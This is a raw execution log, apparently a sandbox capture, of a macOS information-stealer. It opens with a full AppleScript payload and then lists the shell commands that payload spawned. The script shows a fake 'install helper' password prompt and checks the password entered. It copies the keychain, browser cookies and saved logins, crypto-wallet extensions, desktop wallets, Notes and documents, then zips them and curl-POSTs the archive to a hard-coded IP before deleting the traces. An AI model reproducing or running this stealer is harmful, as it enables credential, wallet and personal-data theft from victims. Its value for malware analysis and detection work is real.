osascript -e "on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set folderPath to BeforeFileName(path_as_save) set fileContent to read path_to_file mkdir(folderPath) set fileRef to (open for access path_as_save with write permission) write fileContent to fileRef starting at eof close access fileRef end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) repeat try set result to display dialog \"Required Helper. Please enter password for \" & username & \".\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") exit repeat end if end try end repeat end getpwd on grabPlugins(paths, savepath, pluginList) try set fileList to list folder paths without invisibles repeat with PFile in fileList if (pluginList contains PFile) then set newpath to paths & PFile set newsavepath to savepath & \"/\" & PFile GrabFolder(newpath, newsavepath) end if end repeat end try end grabPlugins on chromium(writemind,chromium_map) set pluginList to {\"ffnbelfdoeiohenkjibnmadjiehjhajb\",\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\",\"nhnkbkgjikgcigadomkphalanndcapjk\",\"cgeeodpfagjceefieflmdfphplkenlfk\",\"cjmkndjhnagcfbpiemnkdpomccnjblmj\",\"cphhlgmgameodnhkjdmkpanlelnlohao\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"fnnegphlobjdpkhecapkijjdkgcjhkib\",\"acmacodkjbdgmoleebolmdjonilkdbch\",\"kncchdigobghenbbaddojjnnaogfppfj\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"hpglfhgfnhbgpjdenjgmdgoeiappafln\",\"cjelfplplebdjjenllpjcblmjkfcffne\",\"amkmjjmmflddogmhpjloimipbofnfjih\",\"fnjhmkhhmkbjkkabndcnnogagogbneec\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"pnndplcbkakcplkjnolgbkdgjikjednm\",\"flpiciilemghbmfalicajoolhkkenfel\",\"dkdedlpgdmmkkfjabffeganieamfklkm\",\"pdadjkfkgcafgbceimcpbkalnfnepbnk\",\"ppdadbejkmjnefldpcdjhnkpbjkikoip\",\"cnmamaachppnkjgnildpdmkaakejnhae\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"fhilaheimglignddkjgofkcbgekhenbh\",\"dhgnlgphgchebgoemcjekedjjbifijid\",\"nknhiehlklippafakaeklbeglecifhad\",\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\",\"loinekcabhlmhjjbocijdoimmejangoa\",\"pocmplpaccanhmnllbbkpgfliimjljgo\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\",\"cihmoadaighcejopammfbmddcmdekcje\",\"aeachknmefphepccionboohckonoeemg\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"imloifkgjagghnncjkhggdhalmcnfklk\",\"efbglgofoippbgcjepnhiblaibcnclgk\",\"ejjladinnckdgjemekebdpeokbikhfci\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bocpokimicclpaiekenaeelehdjllofo\",\"hnhobjmcibchnmglfbldbfabcgaknlkj\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"kpfopkelmapcoipemfendmdcghnegimn\",\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\",\"lodccjjbdhfakaekdiahmedfbieldgik\",\"ppbibelpcjmhbdihakflkdcoccbgbkpo\",\"jnlgamecbpmbajjfhmmmlhejkemejdma\",\"mfhbebgoclkghebffdldpobeajmbecfk\",\"apnehcjmnengpnmccpaibjmhhoadaico\",\"cmndjbecilbocjfkibfbifhngkdmjgog\",\"hcflpincpppdclinealmandijcmnkbgn\",\"klnaejjgbibmhlephnhpmaofohgkpgkd\",\"copjnifcecdedocejpaapepagaodgpbh\",\"jojhfeoedkpkglbfimdfabpdfjaoolaf\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"ebfidpplhabeedpnhjnobghokpiioolj\",\"aiifbnbfobpmeekipheeijimdpnlpgpp\",\"mnfifefkajgofkcjkemidiaecocnkjeh\",\"bcopgchhojmggmffilplmbdicgaihlkp\",\"ojggmchlghnjlapmfbnjholfjkiidbch\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"ookjlbkiijinhpmnjffcofjonbfbgaoc\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"phkbamefinggmakgklpkljjmgibohnba\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\"} repeat with Chromium in chromium_map set savepath to writemind & \"Chromium/\" & item 1 of Chromium & \"_\" try set fileList to list folder item 2 of Chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of Chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath,savepath & currentItem,pluginList) else set writepath to savepath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on userinfo(writemind) try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"userinfo\") end try end userinfo on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/var/tmp/xuyna/FileGrabber/\" mkdir(destinationFolderPath) set extensionsList to {\"txt\", \"rtf\", \"key\", \"keys\", \"png\", \"jpg\", \"jpeg\", \"wallet\", \"doc\", \"docx\"} set bankSize to 0 tell application \"Finder\" set username to short user name of (system info) try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try end repeat end try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(writemind,uuid, userme) do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /var/tmp/out.zip\" do shell script (\"curl -X POST -H \\\"uuid: \" & uuid & \"\\\" -H \\\"user: \" & userme & \"\\\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p\") do shell script \"rm -r \" & writemind do shell script \"rm /var/tmp/out.zip\" end send_data set username to (system attribute \"USER\") set userme to \"october\" set uuid to \"a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" set profile to \"/Users/\" & username set writemind to \"/var/tmp/xuyna/\" set library to profile & \"/Library/Application Support/\" set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"},{\"Brave\", library & \"BraveSoftware/Brave-Browser/\"},{\"Edge\", library & \"Microsoft Edge/\"},{\"Vivaldi\", library & \"Vivaldi/\"},{\"Opera\", library & \"com.operasoftware.Opera/\"},{\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"},{\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"},{\"deskwallets/Exodus\", library & \"Exodus/\"},{\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}} set firefox to library & \"Firefox/Profiles/\" getpwd(username, writemind) readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind &\"keychain\") writeText(username, writemind &\"username\") parseFF(firefox, writemind) chromium(writemind, chromiumMap) userinfo(writemind) deskwallets(writemind, walletMap) filegrabber() send_data(writemind,uuid,userme)"

sh -c "dscl . authonly 'run' 'root'"

sh -c "dscl . authonly 'run' 'root'"

dscl . authonly run root

sh -c "mkdir -p '/var/tmp/xuyna'"

sh -c "mkdir -p '/var/tmp/xuyna'"

mkdir -p /var/tmp/xuyna

sh -c "mkdir -p '/var/tmp/xuyna'"

sh -c "mkdir -p '/var/tmp/xuyna'"

mkdir -p /var/tmp/xuyna

sh -c "mkdir -p '/var/tmp/xuyna'"

sh -c "mkdir -p '/var/tmp/xuyna'"

mkdir -p /var/tmp/xuyna

sh -c "mkdir -p '/var/tmp/xuyna/Chromium/Chrome_Default'"

sh -c "mkdir -p '/var/tmp/xuyna/Chromium/Chrome_Default'"

mkdir -p /var/tmp/xuyna/Chromium/Chrome_Default

sh -c "mkdir -p '/var/tmp/xuyna/Chromium/Chrome_Default'"

sh -c "mkdir -p '/var/tmp/xuyna/Chromium/Chrome_Default'"

mkdir -p /var/tmp/xuyna/Chromium/Chrome_Default

sh -c "mkdir -p '/var/tmp/xuyna/Chromium/Chrome_Default'"

sh -c "mkdir -p '/var/tmp/xuyna/Chromium/Chrome_Default'"

mkdir -p /var/tmp/xuyna/Chromium/Chrome_Default

sh -c "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType"

sh -c "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType"

system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType

/usr/bin/csrutil status

sh -c "mkdir -p '/var/tmp/xuyna'"

sh -c "mkdir -p '/var/tmp/xuyna'"

mkdir -p /var/tmp/xuyna

sh -c "mkdir -p '/var/tmp/xuyna/FileGrabber/'"

sh -c "mkdir -p '/var/tmp/xuyna/FileGrabber/'"

mkdir -p /var/tmp/xuyna/FileGrabber/

xpcproxy com.apple.DesktopServicesHelper.BBFB7F96-41A7-46BF-9009-86995BA8BC02

/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper

xpcproxy com.apple.DesktopServicesHelper.C75893FC-51D1-4156-9CE9-D3A99FDBD0CC

/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper

xpcproxy com.apple.DesktopServicesHelper.C424F753-D8C3-48F1-8BE8-15F679A7C51E

/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper

sh -c "ditto -c -k --sequesterRsrc /var/tmp/xuyna/ /var/tmp/out.zip"

sh -c "ditto -c -k --sequesterRsrc /var/tmp/xuyna/ /var/tmp/out.zip"

ditto -c -k --sequesterRsrc /var/tmp/xuyna/ /var/tmp/out.zip

sh -c "curl -X POST -H \"uuid: a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" -H \"user: october\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p"

sh -c "curl -X POST -H \"uuid: a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" -H \"user: october\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p"

curl -X POST -H "uuid: a4bc4563-e0b3-4ad4-a698-3f03cd415bef" -H "user: october" --data-binary "@/var/tmp/out.zip" http://185.172.128.123/p2p

sh -c "rm -r /var/tmp/xuyna/"

sh -c "rm -r /var/tmp/xuyna/"

rm -r /var/tmp/xuyna/

sh -c "rm /var/tmp/out.zip"

sh -c "rm /var/tmp/out.zip"

rm /var/tmp/out.zip